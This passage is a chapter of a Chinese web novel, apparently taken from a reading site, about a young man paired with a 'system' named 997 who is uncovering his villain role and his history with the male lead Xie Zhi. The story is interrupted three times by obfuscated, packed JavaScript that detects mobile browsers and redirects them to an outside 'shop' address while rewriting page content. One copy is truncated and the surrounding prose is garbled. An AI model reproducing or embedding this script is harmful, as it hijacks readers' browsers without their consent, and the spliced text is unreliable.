997不是人类,不知道丢失记忆是什么感觉,但如果把记忆比作数据代码,哪怕缺少一个数字都会造成一系列的故障和程序错误。 更何况祁漾清除的还不止一两段记忆。 就在997以为祁漾肯定会恼火,也做好宿主朝它发脾气的准备时—— “差点以为是下水的时候撞傻了。”祁漾说这话的时候甚至还在笑。 997不知道是第几次发生卡顿。 “宿主您…不生气吗?”它忍不住问。 “生气不能解决问题。” 祁漾问997,就是想求个答案,现在答案有了,也就不着急了。 祁漾和997对齐了一下颗粒度。 997说,因为在和他绑定之前,它一直是匹配谢执的系统。 就好比一个游戏,997的主视角就是谢执。 它从谢执的视角观察过无数类似于“祁漾”这样的剧情人物,却不清楚在“祁漾”这个视角具体发生了什么。 或许是因为祁漾清除记忆的事997没能帮上忙,这次它显得有些着急:“宿主,麻烦给我点时间,我尝试搜索一下……” “没事,”祁漾敏锐地觉察到997的“情绪”,“小问题,影响不大。” “不用给自己上压力。” “你不清楚,不代表没人清楚。” 997一时没反应过来。 “997,你知道什么叫反派之间的羁绊吗?”祁漾忽地笑了下。 997:“…啊?” 997很快就知道了。 因为在接下来半小时里,它就这么看着祁漾以“落海摔到脑袋,啊,头好疼,好像记不清事了”为理由,从蒋高轩他们口中套出了一切。 997:“…………” 蒋高轩一群人你一句我一句,说到最后。 “大概就这些。” “你今天带谢执上船也是因为这个” “你怀疑承启哥的车祸和谢执有关。” “但这事谢家已经盖棺是意外,你不信,打算自己查,就问谢老太爷把谢执要了过来,让他跟着你。”季明庄最后道。 啊?又我? 饶是祁漾已经做好了身为反派的心理建设,可听到最后,指尖还是沁出了潮意。 他甚至缓冲了好一会,才反应过来谢承启是谁。 谢承启,谢家长孙,谢执生理学父亲谢光誉的儿子,谢执名义上的兄长。 也是原著剧情最后反派之一。 “宿主。” 从蒋高轩他们开口以后就一直保持安静的997在听到“谢承启”这个名字时,忽地喊了这么一句。 可喊完这一声,它又停住了,像是在犹豫什么。 祁漾也没问,就安静等着。 片刻后,997还是出了声:“在这个位面世界设定里,你和谢执的哥哥谢承启关系的确很好,但……” “但谢承启是蓄意接近我的,他觉得拿住了我,就等于拿住了祁家。”祁漾接上997的话。 997哑了。 “想问我怎么知道的?” “嗯。” “‘走马灯’里看到的。” 一切祁漾原先想不通的事,在这一刻得到了解答。 怪不得。 他们祁家和谢家虽然算得上世交,可他和谢承启原先其实不算熟。 一来谢承启大他五岁,玩不到一块,二来谢承启行为处事跟谢家那几个年长的一脉相承,祁漾万事随心,没有丝毫“向上兼容”的欲望。 本来也就只是喊声哥的关系。 一切变化的开端就在这一年。 谢执出现在天城的这一年。 谢承启和他家的联系突然紧密起来,连带着他和谢承启也成了“整个天城谁不知道你们两个交好”的关系。 原来是这样。 可无论祁漾怎么想,他和谢承启关系再好,也不至于到跟谢老太爷把谢执要过来的程度吧? 别的不说,他都猜谢承启的车祸跟谢执有关了,他还把谢执带在身边? 怎么敢的?不怕下一个就是他自己吗?还讲不讲逻辑了? “因为从男主进入天城这条主线开始,位面剧情人物经历的一切以及设定,都是为男主服务的。”997给出解答。 “比如我和谢承启突然变好的关系,”祁漾把一切连起来,“比如阿轩他们对谢执明显超过正常范围的恶意,全部都是设定?” “…是的。”997应道。 烂摊子比自己想象得还大。 别的不说,光“谢执现在跟着他”这一点,就打得祁漾晕头转向。 他肩胛起伏了好几下,一转头,看到蒋高轩他们望向自己的眼神。 祁漾长叹一口气。 像个上吊到一半,又想起还有孩子要养的绝望父亲。 绝望的父亲又把脖子拿了出来。 “还有么。”祁漾看着蒋高轩他们。 蒋乐怡:“有什么?” “关于谢执的,”祁漾自己也想知道,关于谢执的事,蒋高轩他们到底知道多少,又参与了多少,“什么都行,一件都不要落。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444215|201078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几人又讲完一圈,从谢执被谢家老太爷认回去,到谢执逐渐在天城冒头,来来回回,消息大差不差。 “哦对了,还有一件事,”许今欢像是突然想起了什么,“我也是上次听本家叔伯们提了一嘴,消息真假不确定。” “什么?”辛君璇问。 许今欢道:“他说谢执原本好像不姓谢…” “这算什么小道消息,”蒋书怡都没耐心等许今欢说完,摊手道,“天城这几家里谁不清楚谢执的身世,谢家唯一明牌的私生子,他母亲好像去世得很早吧,听说是被他阿姨还是谁养大的?本来跟他妈姓,后来不知道从谁那里得知了自己是谢家人,为了回到谢家,立刻把姓改成了谢。” 谢执跟母亲姓又改姓这事在天城那一圈大家族里根本不算什么秘辛,唯一有点价值的,就是谢执母亲的身份,谢家藏得极好,至今无外人知晓。 “难不成你叔伯他们知道谢执他妈是谁了?”蒋书怡看向许今欢。 许今欢摇头:“那没有。” 蒋书怡瞬间失去兴致,肩膀刚塌下去,许今欢又开了口:“我说的是谢执认祖归宗的事。” “我叔父说,谢执这小子虽然姓改得快,但大小也算根硬骨头。” 蒋书怡第一个反驳:“他算什么硬骨头?姓都能改,白眼狼一个,他还硬…唔!” “别打岔。”辛君璇捂住蒋书怡的嘴巴,示意许今欢继续。 “我叔父也是听谢家一个远房亲戚酒后说的,他说谢执那小子为了得到谢老太爷的青眼,不仅第一时间把姓改回了谢,还……”许今欢视线在所有人身上扫了一圈,伸出右手比了个“3”的手势,“还在谢家祠堂跪了三天。” 谢家祠堂,三天? 屋内空气在这一瞬间凝固。 所有人被谢执跪祠堂这事慑住,没有一个人注意到,就在不远处,还有扇没关好的房门。 魏河风正欲敲门的手缓缓垂下。 从谢执房间离开后就一直心神不宁,最终还是打算来替谢执收收烂账的魏河风怎么也没想过,会在这种时候,这种地方,借着虚掩的门,从许今欢的口中听到谢执跪祠堂这件事。 还是无可辩驳的…真事。 谢执的确跪了三天。 事情是真的,但不代表魏河风愿意听这群蜜罐里泡大的二世祖讥讽谢执什么。 魏河风轻嗤一声,转身就要走,却听到一句—— “不会的。” 不是讥讽,也不带耻笑。 那声音不急不重,落地有声。 魏河风停下脚步。 他认出了那道声音。 是祁漾。 屋内紧接着响起第二个人的声音。 “不会什么?”许今欢问。 魏河风也同样在心里问了一句。 不会什么? 隔着一扇门,屋内屋外的人同时得到答案。 “谢执不会的。” “他是……”这次祁漾的语速快了点,像是要说什么,又兀自顿住。 魏河风急得抓心挠肝。 他是什么!是什么!你倒是快说啊! 魏河风头皮都是紧的,电光石火间,他脑袋轰的一下。 他不是正愁暂时保全祁家这小少爷的法子吗? 少爷为了保住你的小命,该说什么不该说什么你自己掂量!魏河风这么想着,连忙转了个身,借着手臂的遮掩,第一时间打开了藏在袖扣底下的录音监听器。 魏河风按下录音开关。 里头的声音也正好响起。 “谢执不会跪谢家祠堂的。”祁漾说。 “今天这事,今欢当没说过,你们也当没听过,谁都不许往外说。” “还有。”祁漾顿了下,语气前所未有的严肃和认真。 “谢执母亲的事,以后都不要再提。” “私底下也不准查。” “长辈已逝,都尊重点。” 魏河风傻了。 4. “踩得好。” “嘀。” 魏河风手指发麻,连什么时候按下的停止键都不知道,甚至也记不太清自己是怎么从二楼离开的。 等他从那些话里彻底回神,已经站在了谢执房门口。 魏河风发誓,他刚开始真的只是为了给祁家这小少爷录两句好听的,好暂时保全祁家。 谢执现在无论在天城,还是在谢家,根基都还不稳。 一旦伤了祁漾,后果不堪设想。 魏河风出发点是为了谢执。 可他也没想到,会从祁家小少爷嘴里听到这些。 尤其是最后那几句。 长辈已逝,都尊重点…从谢执回到天城,回到谢家,成为谢家唯一明牌的私生子那一天起。 那些身世流言就如罡风,吹遍天城河两岸。 魏河风都数不清他听到了多少次。 那些人都怎么传沈舒的? 身分不明,包养,姘妇,外室,情人…魏河风都听麻木了,听到最后甚至都疲于记恨谁说了什么。 魏河风还以为他已经足够进化到,不会再因任何人对沈舒的评价而被牵动。 可今天—— 如果说“这天城除了他和谢执外,竟然还有人在意沈舒名声”这个事实给魏河风带来的还只是触动,那“说这句话的人是祁漾”这又一事实,给魏河风带来的就是冲击。 彻底的,猛烈的冲击。 祁漾是谁? 翻遍整个天城还能找出几个比他更“金枝玉叶”的? 即便是他身边的蒋高轩、辛君璇、许今欢,单拎出来哪一个不是圈子金字塔顶端的存在?可只要祁漾在,这群人的中心就永远只会是他。 这样的人却称呼舒姐一声长辈,还不准蒋高轩他们私下查。 祁漾有什么目的? 可又能有什么目的? 魏河风甚至自我开解地想,祁漾为什么不能当众说这些话?如果真是这样,或许还能当他是在演些“道德”的戏码。 偏偏是私底下对蒋高轩他们说的。 如果不是自己刚好站在那房间门口,这话就永远传不到他和谢执耳朵里。 魏河风实在想不通,也理不出一点头绪。 无解。 他最终闭上眼,长长吐出一口浊气,然后抬手摘下那枚袖扣,叩开了谢执的房门。 - 魏河风进来的时候,谢执刚结束一通电话。 一转身,迎面抛来一枚小物件。 他抬手接住。 是枚袖扣。 “好东西,”魏河风边朝着他走过来边说,“刚录的,你听听看。” 绿底的珐琅袖扣,中间嵌着一圈极小的蓝色玛瑙,在屋内灯光照射下,晃着亮涔涔的碎光。 谢执长指一拨,露出袖扣背面的银色圆盘。 圆盘很小,只有两块拨片。 一片录音,一片播放。 不算什么专业设备,也没什么储存功能,只要重新按下录音,就会覆盖上一段。 魏河风追求“大道求简”,除非特定场合,平时一贯不太爱用那些什么云数据的录音器。 东西质量不行,胜在量多。 魏河风浑身上下都是这种消遣的小玩意。 谢执见多了,也听多了,随手放下。 “你就不想知道我在小少爷门口听到了什么?” 这话似乎也没激起谢执几分兴趣。 “人醒了?” 魏河风愣了好一会才反应过来谢执问的是什么。 明明该算得上是慰问病患的话,可或许是因为语气没有丝毫起伏,平静到好像在讨论什么将死之人,魏河风硬是听出了“可惜了”的意味。 “托你的福,还没死,”魏河风也不摆谱了,“听听吧,是关于你跪祠堂的事。” 谢执头也没抬。 “还提到了舒姐。” 谢执食指指节很细微地抖了下。 魏河风看了个正着,在心底唉了一声。 谢执静立在床尾,薄到仿佛能透出血管颜色的眼皮疏离垂着,像是将那枚袖扣看进了眼底,又好像没有。 魏河风默不作声,在一旁等着。 谢执最终还是按下了那枚拨片,播放。 录音开始播放。 录音结束。 这次魏河风却没有在谢执脸上找到情绪波动的证明。 一分多钟的时间,别说表情的变化,谢执连呼吸的起伏都很小。 静得像座坍塌的山。 魏河风自以为还算了解谢执。 从沈韵资助他读书,给他人脉和资金那一天起,魏河风就知道了谢执的存在,也知道自己算是沈韵为谢执挑好的扳倒谢家的“资源”之一。 这么些年,魏河风积攒了无数次揣摩谢执心理的经验,可这次他失败了。 “那什么,我觉得祁漾这个人……” 魏河风说话的声音被一阵敲门声打断。 “靠。”魏河风忽然想起了什么,吓得整个人一激灵。 门没锁。 不能让他们看到自己在谢执房间。 魏河风朝着谢执比了个手势,大跨步躲进了浴室。 房间里只剩一个谢执。 袖扣在掌心躺了太久,沾了点谢执的体温,他垂眼又看了一会,没放下,然后五指微合,将那东西拢在掌心,终于抬起眼皮,看向门口。 “谁。” “小谢总,我是游艇管家,您应该见过我的。” “我带医生来处理你肩膀上的伤。” “方便开门吗。” 医生? 不在二楼候着,来他这里。 谢执不知道又是什么把戏,没让人进来,径自走过去。 门开。 “本来应该第一时间过来的,”管家朝着谢执点了点头,又给医生让了个位置,继续道,“器械准备的不齐全,医生回了一趟保姆艇,耽搁了。” 医生拎着有半条腿高的医疗箱站在门口。 谢执视线在门外两人身上扫过,但没说话,十几秒后才开口:“不用。” 管家顿了一下,继续道:“小谢总,伤口还是要及时处理。” “处理过了。” “那也让医生确认……” “我说,”谢执说话语调音量都没变,可每个字都带着拒人千里的寒意,“不用。” 管家咽了口唾沫,又想起祁漾的叮嘱,硬着头皮正要继续说话,走廊那头忽然响起一阵脚步声。 “管家,谢三少都说不用了,你担心什么。”一道阴恻的声音跟着脚步一同传来。 管家回过头去,看清为首男生样貌的瞬间,下意识看了谢执一眼。 无他,来人叫程远,是谢家在安州的一支远亲—— 三个月前,谢老太爷让谢执跟了一个项目,就在安州。 据说动静很大,天城都有所耳闻。 “你放心,我们恰巧路过,听到了,这么多人帮你作证,你确实来过,是有的人不知好歹,那他是死是活,就跟你们没关系了。” 管家闻到了火药味,此时也不便多留。 “小谢总如果有需要,随时吩咐。”管家说完,朝着那几人礼节性点头,带着医生离开。 “谢执,少拿乔,你不会真以为这船上有人在意你的伤吧?” “恰巧路过”的人就这么停在了谢执门口。 “管家喊你一声小谢总,还真把自己当成什么人物了。” “如果不是祁…”程远说着,衣袖突然被他身后的人扯了一下,似是在提醒什么。 祁。 谢执把玩着袖扣的动作停下。 程远咽下了要说的话,继而突兀地笑了声。 “也是,跟你说这些干嘛。” “既然亲戚一场,那我也不妨好心提醒提醒你。“ “好好养伤,小谢总,”程远嘴角一点点咧开,恶意丝毫不遮掩地漫出来,“毕竟,蒋少还等着‘感谢’你对祁少的救命之恩呢。” 程远声音阴冷黏腻,故意把最后几个字的音调拖得极长。 可谢执还是那副模样。 依旧漠视。 偶尔扫过一眼,也像在看一滩烂在墙角的泥。 一个不知道哪里冒出来的私生子,拿着从谢家乞来的一点权力,在他程家的地盘耀武扬威。 新仇旧恨如同两股突涌的潮水,搅上程远心口。 肩膀有伤是吧。 以为自己‘救’了祁少是吧。 程远毫无预兆地抬起手,朝着谢执肩膀的伤口处狠狠抓去—— 一声惨叫在游艇一层走廊荡开。 程远连衣角都没碰到,手腕便被谢执攫住。 冲撞间,谢执掌心那枚袖扣蓦地从指间滑落,发出一声轻响后,滚动两圈,停在那群人脚下。 “谢执你干什么!” “你疯了吗!” “你知道这是哪里吗?你敢动手!” 七嘴八舌,如同水入油锅,嘈杂一浪高过一浪。 没有一个人察觉到一枚掉在地毯上的袖扣。 混乱中,在剧痛里挣扎的程远在那袖扣上重重踩了一脚。 玛瑙还完好,底下的圆盘没了,粉末拨片碎了一地。 谢执微低着头,眼皮垂落,看向它。 留不住的东西。 跟那条平安扣一样。 攫在程远关节间的手微微一松。 就在程远以为得救之际,更响的一声惨叫荡彻整条廊道。 谢执腕骨抬起,扣着那人关节处往后猛地一拧,又朝着走廊方向走了一步。 他扬起另一只手,在那人抽气的瞬间,扣住程远的后脑,没有任何多余的纠缠,如同面对一个死物,把他脸狠狠掼在门框上。 “砰”,一声巨响过后,谢执门口这片方寸之地彻底安静。 只剩下程远急促的喘息声。 “谢执你妈——啊!我的手!” 谢执把那只反剪的手一点一点往上压,直到程远嘴里再喊不出一个字,只能用喉管发出浑浊的鸣响。 不知过了多久,谢执终于松开手,在所有人绷紧的神经中,若无其事地按响门边的呼叫铃。 还没走远的管家带着医生匆匆跑回原地,谢执房门已经关上。 而垂着手跪坐在谢执房门前拼命喘气的程远,听到谢执留给他的最后一句话是—— “踩得好。” - 只一层甲板之隔。 一楼鸡飞狗跳,二楼却鸦雀无声。 房间已经安静许久。 祁漾每说一句话,房间就像被抽掉一层空气。 蒋高轩他们发不出一点声音,喉咙也是堵的,只一味地把目光落在祁漾身上。 一切怪异点就从那句“谢执不会的”开始。 连一向冷静的辛君璇太阳穴都突突跳着。 她一遍一遍回想。 说完那句“谢执不会的”,祁漾紧接着说了两个字,“他是”,然后停住。 “漾漾,”辛君璇实在想不通,开口,“你说谢执是什么?” 蒋乐怡紧跟着回神。 “对啊,为什么谢执不会跪?为了回到谢家他连姓都改了,跪一下祠堂怎么了?” 他是什么。 是男主。 为什么不会跪。 因为那是谢家的祠堂。 祁漾想把一切言明,可他说不出来。 或许是那场经久不息的警报触发了什么机制,后台做出了紧急修补,祁漾发觉自己根本没法说出“男主”两个字。 他抬眸扫了一圈好友,在心底叹了一口长气。 这要他怎么说。 要他们这些昨天还嚷着要弄死谢执的反派和炮灰,今天就弃暗投明? 即便他是救世主,也没辙。 祁漾想通了,欲速不达。 况且救世主今天身心俱疲,暂时不想拯救世界。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444216|201078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 于是救世主捂着脑袋说:“头疼。” 所有人:“……” 还能再敷衍一点吗? 刚刚还剑拔弩张的气氛就在这一秒彻底败下来。 “困了,我睡一会。”祁漾也没说谎,死里逃生一场,确实疲惫,说几句的工夫,睡意已经翻腾过两场。 祁漾打了个哈欠,往下一躺。 蒋高轩几人对视一眼,无奈,只好把祁漾今天一切行动归结于撞到了脑袋,从床边起身:“那你睡会,醒了给我们发消息。” “嗯。” 蒋高轩熄了灯,辛君璇拉上帘子,许今欢和季明庄检查完空调又点好香薰,一切安排妥帖才轻手轻脚朝着房门口走。 蒋高轩手刚贴到门柄,身后又传来动静。 几人一回头。 “阿轩,一切事情等我睡醒再说。” “还有。”祁漾掀开被子,重新转过脸,看着他们。 他唇色其实还是白,虽然已经换了衣服,可因为躺着,柔软的棉料往下紧紧垂贴在身上,只露出一截纤细发红的锁骨。 “听我的,别动谢执。” 这是蒋高轩今天不知道第几次听到这话。 他胸腔长长起伏一瞬,许久。 “知道了,睡吧。” 房间重新归于寂静,祁漾很轻地喊了声“997”。 说累是真的,心里挂着事也是真的。 谢执跪祠堂带给他的冲击并不小于那31次注销。 997出现。 “宿主。” “你听到了没,”祁漾声音明显已经带上睡意,“今欢说的,谢执跪祠堂的事。” “听到了。” “他真跪了三天?” 997停顿片刻:“跪了。” 祁漾怔了下,但也就那么一下。 “这样啊,”祁漾枕在枕头上,脸颊因为侧躺的姿势,挤出一道不算明显的弧度,“那我猜错了。” “宿主……”997像是很疑惑。 祁漾还没听997用这样的语气说过话,有点新鲜:“怎么了?” 997最终却没问出口。 它安静缓冲了两秒,恢复到以前的语气:“系统检测到宿主体内腺苷浓度已达到顶峰,大脑前额叶皮层功能下降,视觉神经元……” 祁漾:“转人工。” 997:“宿主你该睡了。” 祁漾嘴角弧度往上弯了弯。 这话题转移得不算高明,祁漾自然听出了997的欲言又止,说不好奇是假的,可997既然没说,他也就当不知道。 祁漾没再多问,也确实累了,于是顺着997的话往被子深处埋了埋。 “那救世主先睡了,”祁漾逗人似的,又补了一句,“你家男主有事记得把我电醒。” 997:“……” 它没电过。 祁漾呼吸很快变得沉稳。 他闭着眼,没有发觉就在他床头的上空,一团由数字组成的浑圆的光团悬在那里。 这是997在这个世界第一次凝出实体。 它悬在那,看着祁漾。 997久违地想起它第一次带谢执的时候。 它也和今天一样,悬于上空,看着谢执踏进谢家祠堂,踏出他在天城的第一步。 997知道谢执以后会一把火烧了这里。 就像它也知道,谢执会在这里跪上三天。 一切都写在主神的数据里。 997不觉得这有什么错。 男主忍辱负重,跪上一跪,回到谢家,开启复仇主线。 剧本最常见的戏码。 事实证明,谢执的确跪了,可…… 那一天,极速波动的数据告诉997,它遇到了一个秩序之外的男主。 997看着正在熟睡的祁漾。 主神的数据就像这个世界的基因,是烙在每个剧情人物身上的钢印。 主神的数据里写着谢执会跪的。 只有这个人说不会。 - 祁漾不知道997悬在空中看了他许久,他这一觉睡得很沉,也很快。 彻底失去意识前他还在想,说不定这一觉能直接睡到天光大亮。 没曾想会被拖进一场梦。 一场狰狞扭曲的梦境。 青铜香炉,灯笼,石柱,青砖,香烛。 一间祠堂。 有人跪在中间。 祠堂烛火影影绰绰,梦里的他很想看清中间那人的脸,却怎么也靠近不了。 窗外是呼啸的风雨。 一道闪电劈裂天际。 然后一道接着一道。 祁漾终于借着那些好像能将人眼睛灼伤的白光,看清那人的模样。 是谢执。 谢执跪在谢家祠堂,跪得笔直。 他面前是谢家整整一墙的黑檀牌位。 黑底描金笔,密密麻麻,层层叠叠,规格统一。 在烛火映照下,明明灭灭,像一张张不断张合的嘴。 祁漾心口剧烈跳着。 正要上前,却好像感应到了什么,他突然抬起头来。 祁漾就这样,在一整墙漆色木架最上方,看到了一块牌位。 同样是黑檀木,这块牌位顶部中心却刻着如意纹,两侧祥云作托,底部莲花座,线条柔和到极致,和其他森然方正的牌位截然不同。 它就这么矗立在最上方,矗立在最中央的位置。 像是压在谢家列祖列宗头上的一座山。 但它太远了,看不清。 祁漾这个念头刚一起,梦中的视角仿佛知道他在想什么,倏地往前腾挪了一大步。 画面不断贴近,贴近。 近到祁漾足够看清那块莲花底座牌位上面的名字—— 沈舒。 沈舒?! 谢执在谢家祠堂里跪的是沈舒??! 祁漾陡然睁开眼睛。 5. 谢执掐我! “咳——” 短促又疾厉的抽吸声在屋内响起。 祁漾单手撑着枕头,猛地从床上坐起来。 他浑身湿透,心口还在剧烈跳着。 “997,”祁漾喉咙干到发涩,“我做梦了。” 梦里烛火的温度好像还在,烧得祁漾指尖都是烫的。 “那不是梦吧。” “那个牌位是谢执妈妈的。” 电流声在祁漾脑海里一闪。 “…是。”997答。 “我为什么会梦到这个?”祁漾嗓音低低的,“你做的?” “没有。”997语气竟显得有点急。 祁漾喉咙深处那口气还没吐匀,听到997的回答也没什么深究的意思,一心想着那块写着“沈舒”两个字的牌位,根本没注意到耳边那一串呲啦断续的噪音。 997体内的数据又一次波动。 这次它却没有慌张,只有茫然。 对祁漾梦到谢执跪祠堂这事的茫然。 997甚至有种好像冥冥之中有什么人在指引祁漾的错觉,它还来不及细想,又听到祁漾的声音。 “所以谢执在谢家祠堂跪了三天,都在跪他妈妈的牌位?” “…是。” 一股说不上来的情绪顺着祁漾脊骨一节一节往上涨。 “谢执知道自己在做什么吗?”祁漾哑着声音脱口而出。 997浑身光圈都弹了下,因为幅度太大,甚至丁零当啷掉下几个数字。 997也不茫然了,也不管什么波动了。 身上所有数据此时好像都凝结成了一句话:对!对对!对对对!就是这样!就是这种感觉!!! 这世界上只有它和祁漾能懂的感觉。 “宿主,我知道你想说什么,”这种事情它足足经历了31次,“把沈舒牌位放在那里确实有些悖礼,但谢执和一般主角不……” “我说的不是这个。” 祁漾没觉得让沈舒牌位压在谢家祖宗头上有什么奇怪,压就压了。 那可是谢执。 他根本没在意这个,他想的是—— “谢执觉得让沈舒看着自己儿子在谢家祠堂跪三天会很痛快吗?哪怕跪的是她。” 不会的。 直觉告诉祁漾,如果沈舒有意识,她只会觉得心疼。 997:“…………?” 麻了。 整个统都麻了。 997差点以为是自己掉了什么零部件导致听觉识别功能出现了问题。 面对这样的男主,第一反应不应该害怕或费解吗? 为什么它的宿主会想这个? 997更茫然了,茫然到开始质疑自己的理解能力,茫然到打算依靠科学依据去验证什么。 正常人都会害怕的,只是宿主没有表现出来。 997自我安慰完,下意识去监测祁漾体内的身体数据。 血清素下降,交感神经激活,下颌咬紧,泪腺轻度激活。 997知道,人类把这一种情绪叫做—— “宿主,你在为谢执难过吗?” 祁漾像是懵了一下,随即绷起了脸。 “没有啊。” “没难过。” “为什么难过?” 否认三连。 “这不叫难过,这叫责备。” “我在指责你家男主。” “997你说的对,这很悖礼。” 肾上腺素飙升,身体紧绷,血流加速。 说谎。 997:“……” 空气陷入一片漫长又诡异的凝滞。 先打破这种凝滞的是祁漾。 “那牌位……”祁漾自以为很自然地开口,“谢执跪在那里,也不怕被看到?” 997只能装作没听出祁漾转移话题,老实回道:“谢家规矩森严,祠堂里不设监控,进出管理很严格,一般人不会盯着牌位细看。” “…但也不是没人发现过。” 997最后一句话让祁漾一下抬起头来。 话题已经赶到这里,997也继续道:“在以往31条世界线里,有5条世界线被人发现了牌位的事。” 祁漾脊背都渗出点凉气:“然后呢?” 997停顿片刻:“每个世界事件线都有细微的差别,宿主只要知道,谢执是天命子,他所有的选择都是正确的,最后都会通向唯一的结果,谢家覆灭,这样就行了。” “至于别的,”997微妙地卡了一下壳,“我从一开始就已经告诉过你答案了。” 祁漾:“?” 997:“男主经常‘找死’。” 祁漾:“………” 997:“谢执一切行为逻辑,只有一个准则。” 祁漾凝神准备大听一场:“什么?” 997:“他想这么做。” 祁漾:“………………” 可以。 这很傲天。 一场对话结束,梦境带来的余悸总算褪去点。 也不知道是不是被那场梦影响了,祁漾总觉得脖子有点疼,身上又浸了层冷汗。 哪哪都不舒服。 “997,我先去洗个澡。” 祁漾掀开被子下床,从步入式衣帽间拿了一件埃及长绒棉浴袍。 他拎着浴袍刚走过第三排柜子和右侧的墙面全身镜,脚步却乍然顿住。 等下。 他刚刚在镜子里看到了什么? 祁漾还以为是自己眼睛恍了,在疑惑中轻一转身,正对着镜子,抬手抓着睡衣领口往下一扯—— 泛青。 发紫。 一、二、三、四…… 脖子上四道规规整整的淤痕。 这是什么? 祁漾想凑近镜子观察一下,脚步刚抬起,一阵强烈的眩晕感突然袭来。 他一踉跄,整个人歪在身前的全身镜上。 冰冷的镜面贴上脸的瞬间,无数零碎的片段画面冲进祁漾脑海。 祁漾几乎是瞬间就认出了那些片段。 是海。 他坠海的那些记忆。 他看到一只手掌出现在那片记忆的海里。 祁漾知道那是谢执的手。 溺水濒死的感受好像在这一刻卷土重来。 祁漾努力保持清醒,也很清晰地知道自己现在身在哪里,可创伤后短暂的应激还是驱使着他抬起手,想去抓住那只朝他伸过来的手掌。 越来越近,越来越近。 要抓住了—— 祁漾扑了个空。 祁漾伸在半空的手骤然顿住,就这么眼睁睁看着那只手掌一点一点穿过他的手指,往前,慢慢贴上他脖颈,然后跟着海浪起伏的频率,一点一点收紧…… 祁漾脸刷地变白。 他终于知道了脖子上那些淤青是什么。 …是指痕?! 谢执托他下巴,不是想要救他。 谢执掐他! 谢执想杀他! “997。”祁漾突然卸了力,背靠着全身镜,水似的淌下去。 他面无表情屈膝坐在地毯上,像株因为感知到危险,突然把叶片收拢起来的植物。 救世主不干了。 “你家男主想杀我。” 祁漾现在一闭眼,脑海里就是那只掐在他喉咙间的手掌。 连997都不见了。 就在祁漾开始猜997是不是也跟着罢工的时候,熟悉的电流声回归。 “宿主,”997有些急切地喊了一声,“抱歉,我刚刚去查谢执想杀…掐你的原因了。” “这还用查吗?”祁漾声音虚弱,“我把他推下海,他当然想杀我。” “不是,”997斩钉截铁,“以往无论哪条世界线,谢执都没在这时候对宿主下手,问题应该出在……” 997突然陷入沉默。 片刻后。 “宿主你自己看吧。” 997话音落下的下一瞬,祁漾脑海里放幻灯片似的接连闪过几帧。 同样是海里的画面,祁漾这次却站在第三视角,看着自己在海里浮沉。 祁漾没察觉到什么不同,直到某个画面闪过。 等下。 “997,我手里那东西是什么?”祁漾疑惑出声。 除了谢执,他还抓住过什么吗? 997却没说话,只是无言地将水里画面一点点放大,直至展露那东西的全貌—— 一枚平安扣玉吊坠。 幽深的墨绿色,黑如纯漆,顶级的墨玉。 祁漾认得。 那是谢执从故事开头一直佩戴到结尾的项链。 沈舒的遗物。 可谢执妈妈的遗物为什么会在他手上? 祁漾下意识看向自己的掌心。 被阿轩拉上岸的时候,他手里有东西吗? 997:“…宿主,不用看了,还没完。” 祁漾迷茫地眨了眨眼。 于是,在接下来这三分钟里,在这静谧的傍晚时分。 在夕阳余晖照耀着“荣耀号”甲板,照着海面的平和时刻,祁漾如同一个观众,连贯,完整,不遗漏一丝细节地看完了一段影片。 影片名叫—— 《恐怖游轮之消失的平安扣玉吊坠》 又名,《死神来了》。 死神姓谢。 祁漾:“…………” 祁漾承认,在最初知道谢执想杀他的那一秒,除了害怕,他隐约是有点动气的。 就一点。 不多。 因为脖子真的疼,也难免冤枉。 虽然把谢执推下海的人是他不假,但也不是全部的他。 那时的自己也只不过是被剧情推着走的npc。 可现在,祁漾什么都不怨了。 他一点都不冤枉。 他亲手弄丢了男主妈妈留给男主的唯一的遗物。 这跟骑在谢执头上有什么区别? 谢执竟然还留了他一条命。 多阳光的一个男主。 简直就是生命的奇迹。 画面已经结束许久,997还是没听到祁漾的声音。 甚至没看到祁漾的脸。 因为从画面结束的那一刻,997就看着祁漾双手交叠,垂在膝盖上,然后把脸埋了进去。 997同样知道那条项链对谢执来说意味着什么。 就在997以为祁漾真的要彻底“不干了”的时候,祁漾终于动了。 他浅浅吐出一口气,抬起头,白皙修长的小臂撑在地毯上,慢慢站了起来。 “997,两件事。” “一,洗澡。” “二——” 997认真听着。 “说好送你的铃兰要往后再欠欠了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444217|201078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”祁漾往后一靠,“我要拿回那枚平安扣要多少积分?” 997愣住。 祁漾继续道:“你不是说积攒的经验积分可以兑换东西吗?” “我要兑换这个,要多少积分。” “…没这么操作过,但如果宿主有需要,我可以帮你计算。” “但宿主需注意,一切现生层面的兑换物,所需的积分会根据物品的价值进行等比例兑换。” 